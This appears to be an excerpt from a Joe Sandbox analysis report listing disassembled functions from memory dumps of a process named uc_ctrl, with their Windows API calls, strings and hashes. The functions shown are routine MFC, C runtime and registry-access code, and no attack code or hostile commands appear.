Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharH_prolog3_catchMultiWide
String ID: MFCMaskedEdit_DefaultChar$MFCMaskedEdit_InputTemplate$MFCMaskedEdit_Mask$MFCMaskedEdit_SelectByGroup$MFCMaskedEdit_ValidChars
API String ID: 207285973-975932772
Opcode ID: db6e582ceabd8315885ee82e80ee378efdcf1f63dea998034645dd67f312396f
Instruction ID: e045d97a23ec4f24803463b00644f5fe28318298a886e8178eb5ca3ddefa6649
Opcode Fuzzy Hash: db6e582ceabd8315885ee82e80ee378efdcf1f63dea998034645dd67f312396f
Instruction Fuzzy Hash: C9514E7090510A9BDF05DFA4C994EFEBB79AF14308F20406DE512B7A90DF35AA19CB20

Function 6CF148E3 Relevance: 10.6, APIs: 7, Instructions: 147windowCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6CF14938
SendMessageW.USER32(?,0000120C,00000000,00000002), ref: 6CF14964
_wcslen.LIBCMT ref: 6CF14971
SendMessageW.USER32(?,0000120C,00000001,00000002), ref: 6CF14998
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6CF149BD
GetCapture.USER32 ref: 6CF14A4F
ReleaseCapture.USER32 ref: 6CF14A59

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CaptureMessageSend_wcslen$RedrawReleaseWindow
String ID:
API String ID: 1886290311-0
Opcode ID: 9ac795da9634b19891ed486ba525668c2d5f69dee998576267d364265e3b28fd
Instruction ID: b06c5da5dd21396f50abef2a30b05f82dabacaf0c7c66083ac0ceb1c62b23aa0
Opcode Fuzzy Hash: 9ac795da9634b19891ed486ba525668c2d5f69dee998576267d364265e3b28fd
Instruction Fuzzy Hash: E141F0317052109FDB099F24D884BAD7BB6FF88358F16016DED19AB790DB30AC01CB99

Function 6D19E660 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E683
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6D19E70F
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E71D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19E774

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 6D19E717, 6D19E71C, 6D19E72D
+, xrefs: 6D19E69B

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: _errnoisspacememchrtolower
String ID: +$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3579239451-4014772148
Opcode ID: 4fab7b1901fbcba2add6b86228d60cf61dd03ae0cc78f561e152a5464fc7a3cb
Instruction ID: af806c5ed51f34f217eb6c1bcd4dbab230d169b4e74a25eeee43ecf57f6c001a
Opcode Fuzzy Hash: 4fab7b1901fbcba2add6b86228d60cf61dd03ae0cc78f561e152a5464fc7a3cb
Instruction Fuzzy Hash: 4C41E57464A2969BDB158EBDC4943BE7FE9BF57310F40446AE490CF248D2F08742CB92

Function 6D1B2E20 Relevance: 10.6, APIs: 7, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B2E27
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6D1B2E72
std::locale::~locale.LIBCPMT ref: 6D1B2E87
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6D1B2F25
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6D1B2F5F
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6D1B2F82

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1449803472-0
Opcode ID: 029c13fed2bf10a076cafe3ce47ed9665260bfb45ca92f201730d63f15cbf5ca
Instruction ID: 416b23599458916a70023bfe5136ab75cf527fe6fff89b2ec5cc6ba02b21461d
Opcode Fuzzy Hash: 029c13fed2bf10a076cafe3ce47ed9665260bfb45ca92f201730d63f15cbf5ca
Instruction Fuzzy Hash: 89519D75D0421AEFDF14CFA0C854BEEBBB4FF08314F054519EA05AB288D7B4AA54CBA0

Function 6D1B09D0 Relevance: 10.6, APIs: 7, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B09D7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6D1B0A22
std::locale::~locale.LIBCPMT ref: 6D1B0A37
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6D1B0AD5
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6D1B0B0F
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6D1B0B32

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1449803472-0
Opcode ID: d8a9aca36d9b3baf0b6d292ac2352e1ad558120011e3268348c283359ab3f3d3
Instruction ID: c9898ded4c46bf8f0c308d6a6b279449937cf567367c4e928747a90091e5d8a0
Opcode Fuzzy Hash: d8a9aca36d9b3baf0b6d292ac2352e1ad558120011e3268348c283359ab3f3d3
Instruction Fuzzy Hash: 2C519F75D04219EFDB04CFA1C954BEEBBB4FF09314F054919E905AB288D7F4AA50CBA0

Function 6D1A8990 Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8997
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6D1A89E3
std::locale::~locale.LIBCPMT ref: 6D1A89F8
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6D1A8A94
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6D1A8ACE
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6D1A8AF1

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Rep@?$num_put@$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1039342991-0
Opcode ID: 5de0e7afb1510f99cf9032eeab9c24710b9180d5acffc01c7159cde5ae7d8cec
Instruction ID: 4e76be659c9373aa98fde4713e5f31deeafbe62b09563deda1b03fea9f84bfd2
Opcode Fuzzy Hash: 5de0e7afb1510f99cf9032eeab9c24710b9180d5acffc01c7159cde5ae7d8cec
Instruction Fuzzy Hash: 3E51AF79E04259EFDF14CFA4C854BEEBBB4BF08314F094119E905AB284D7B5AE50CBA1

Function 6D1A03F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,?,00000000), ref: 6D1A04A1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000), ref: 6D1A04BC
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000), ref: 6D1A04C4
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,00000000), ref: 6D1A04EF
_CxxThrowException.VCRUNTIME140(00000003,6D1D3ABC,?,00000000), ref: 6D1A0506

Strings

csm, xrefs: 6D1A0455

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: EncodeExceptionPointerThrow_malloc_basemallocterminate
String ID: csm
API String ID: 1268247993-1018135373
Opcode ID: b270dfdf2939578790012ede46ea865437e80cbc61d6f86b837ff9dc98e3e464
Instruction ID: f8ad94ac42810e87d5280784bd1c144e8ea9e1f657361326382a45bf5bc1bfc7
Opcode Fuzzy Hash: b270dfdf2939578790012ede46ea865437e80cbc61d6f86b837ff9dc98e3e464
Instruction Fuzzy Hash: E54120791007038FDB24CF6AD48096ABBF4FF94300705882AD519CB60ED7B0E951CB91

Function 6D1A05DD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?), ref: 6D1A063A
__alloca_probe_16.LIBCMT ref: 6D1A0662
RaiseException.KERNEL32(?,?,?,?), ref: 6D1A0693
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D1A06AC
_CxxThrowException.VCRUNTIME140(?,6D1D3AE8), ref: 6D1A06C2

Strings

csm, xrefs: 6D1A0607

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Exception$DecodePointerRaiseThrow__alloca_probe_16terminate
String ID: csm
API String ID: 1272311944-1018135373
Opcode ID: d093e0b866d597861b14ffee81dd2da4fcab0b4a4fa4d097e62064ef63bb3b1f
Instruction ID: 8a52fba81dff5372e46b1a49998d58e488a0a095c172118f66c2d4f44336f180
Opcode Fuzzy Hash: d093e0b866d597861b14ffee81dd2da4fcab0b4a4fa4d097e62064ef63bb3b1f
Instruction Fuzzy Hash: A5310535A00209EFCF14DF92D841ABEB7B9EFA5314F154019F909AB25CC7B1AD41CB91

Function 6CF0EC01 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF0EC08

Part of subcall function 6CF0A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6CF0A243

Part of subcall function 6CF546CA: __EH_prolog3.LIBCMT ref: 6CF546D1

Part of subcall function 6CF5602D: __EH_prolog3.LIBCMT ref: 6CF56034

Strings

MFCColorButton_EnableOtherButton, xrefs: 6CF0EC44
MFCColorButton_EnableAutomaticButton, xrefs: 6CF0EC7C
MFCColorButton_ColumnsCount, xrefs: 6CF0ECC0
Other, xrefs: 6CF0EC65
Automatic, xrefs: 6CF0EC9A

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: Automatic$MFCColorButton_ColumnsCount$MFCColorButton_EnableAutomaticButton$MFCColorButton_EnableOtherButton$Other
API String ID: 2949695960-3051800008
Opcode ID: 185621061bf166c40e820489fb773439da6312909bfa9af1d725f9fa596552c6
Instruction ID: d7fa11c679dace941f6ff01f505ad05f929b24471aa0f493751482a9c6e83a8a
Opcode Fuzzy Hash: 185621061bf166c40e820489fb773439da6312909bfa9af1d725f9fa596552c6
Instruction Fuzzy Hash: 4A318170E0110AAADF11DBA0CD54EFFBBB9AF4470CF204019E951B3690DB369A19DBA1

Function 6D1B4F4C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6D1B4F53
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(0000006C,6D1B04EC,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F5D
_Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F6A

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

_Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F9E

Part of subcall function 6D1AE3CB: _Mbrtowc.MSVCP140(00000000,00000000,00000001,6D1BA06D,00000000,6D1BA06D,00000000), ref: 6D1AE3F1

Strings

true, xrefs: 6D1B4FC6
false, xrefs: 6D1B4FB4

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Getcvt$H_prolog3_catch_Mbrtowc___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadlocaleconv
String ID: false$true
API String ID: 2109655706-2658103896
Opcode ID: 3c8d201001f81807f458fff90f815bab40c3b577953d1e05e25df75e3d334e49
Instruction ID: cd341ca6fe9c418654e2d267126659666615bd9bd151c31a7daedb3319bd4cc6
Opcode Fuzzy Hash: 3c8d201001f81807f458fff90f815bab40c3b577953d1e05e25df75e3d334e49
Instruction Fuzzy Hash: E5317F76904218DFDF14CFB4D44459E77F8BF08314B29856EE504EF28ADBB0AA058B91

Function 6CEECD49 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6CEECD84
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6CEECDB0
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6CEECDDC
RegCloseKey.ADVAPI32(00000000), ref: 6CEECDEE
RegCloseKey.ADVAPI32(00000000), ref: 6CEECDFD

Part of subcall function 6CEED27B: GetModuleHandleW.KERNEL32(Advapi32.dll,0002001F,?,?,6CEECD82,80000001,software,00000000,0002001F,?), ref: 6CEED28C
Part of subcall function 6CEED27B: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6CEED29C

Strings

software, xrefs: 6CEECD6D

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CloseCreate$AddressHandleModuleOpenProc
String ID: software
API String ID: 550756860-2010147023
Opcode ID: 95fce78acebb9f10503d7dcfd145943de474bcf1eb54ce17fb58ace250e94c42
Instruction ID: 290c16ebd23b20524345ecbcf60a0b716cc0a4e2abdd492fd4620d273a09143c
Opcode Fuzzy Hash: 95fce78acebb9f10503d7dcfd145943de474bcf1eb54ce17fb58ace250e94c42
Instruction Fuzzy Hash: 9F2137B6A01128BFEB11AA94CC44EBF7F7DEB4D748F204169BD15E2600D7328A559BA0

Function 6D1AC06B Relevance: 10.6, APIs: 7, Instructions: 76COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT(00000000,00000001,?,00000000,?,?,6D1AC140,00000000,?,6D19AAAE,?,?), ref: 6D1AC0B4
_Xtime_diff_to_millis2.MSVCP140(?,00000000,00000000,00000001,?,00000000,?,?,6D1AC140,00000000,?,6D19AAAE,?,?), ref: 6D1AC0C9
_xtime_get.LIBCPMT(00000000,00000001,?,?,00000000,?,?,6D1AC140,00000000,?,6D19AAAE,?,?), ref: 6D1AC0EF
_Xtime_diff_to_millis2.MSVCP140(?,00000000,00000000,00000001,?,?,00000000,?,?,6D1AC140,00000000,?,6D19AAAE,?,?), ref: 6D1AC0FB
_Mtx_reset_owner.MSVCP140(6D19AAAE,?,?,00000000,?,?,6D1AC140,00000000,?,6D19AAAE,?,?), ref: 6D1AC10B

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Xtime_diff_to_millis2_xtime_get$Mtx_reset_owner
String ID:
API String ID: 249116157-0
Opcode ID: 4326b32a10252002959c89b5a636572a89f7c29ff175df1c2f3b7637e9cfbf6c
Instruction ID: 4c0bab1bcf9f8215014b6c6b6ccafe850978b53ff8159fd3e0cb110ff15c0909
Opcode Fuzzy Hash: 4326b32a10252002959c89b5a636572a89f7c29ff175df1c2f3b7637e9cfbf6c
Instruction Fuzzy Hash: AF218375A04209ABCB00DFA8DC81DAEF7B9FF04324B11422AE919A7294D771AD05CBD1

Function 6D1A050C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(6D1D3ABC,969FB934,00000000,00000000,00000000,6D1CBB16,000000FF,?,00000003,6D1D3ABC,?,00000000), ref: 6D1A056A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,6D1D3ABC,?,00000000), ref: 6D1A0576
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D1A05BD
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D1A05C5

Strings

csm, xrefs: 6D1A0532

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: DecodePointer_free_basefreeterminate
String ID: csm
API String ID: 2424406664-1018135373
Opcode ID: 1c4e6a55c0d059ab62f669dad23bdf04c2680be5ff8118f78186b8422fb000ba
Instruction ID: 0999c8d0b9d45d96e6e1f14303b2314aab1f21778450254a6df502474e989bc8
Opcode Fuzzy Hash: 1c4e6a55c0d059ab62f669dad23bdf04c2680be5ff8118f78186b8422fb000ba
Instruction Fuzzy Hash: DE21CF78608706EBDB15CF66E840B39BBB9FF26311F198259E4158765CDBB0E880CE91

Function 6CF1AA2D Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF1AA34
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 6CF1AA5A
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 6CF1AA70

Strings

B, xrefs: 6CF1AA90
B, xrefs: 6CF1AA89
BBBB, xrefs: 6CF1AAA5

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
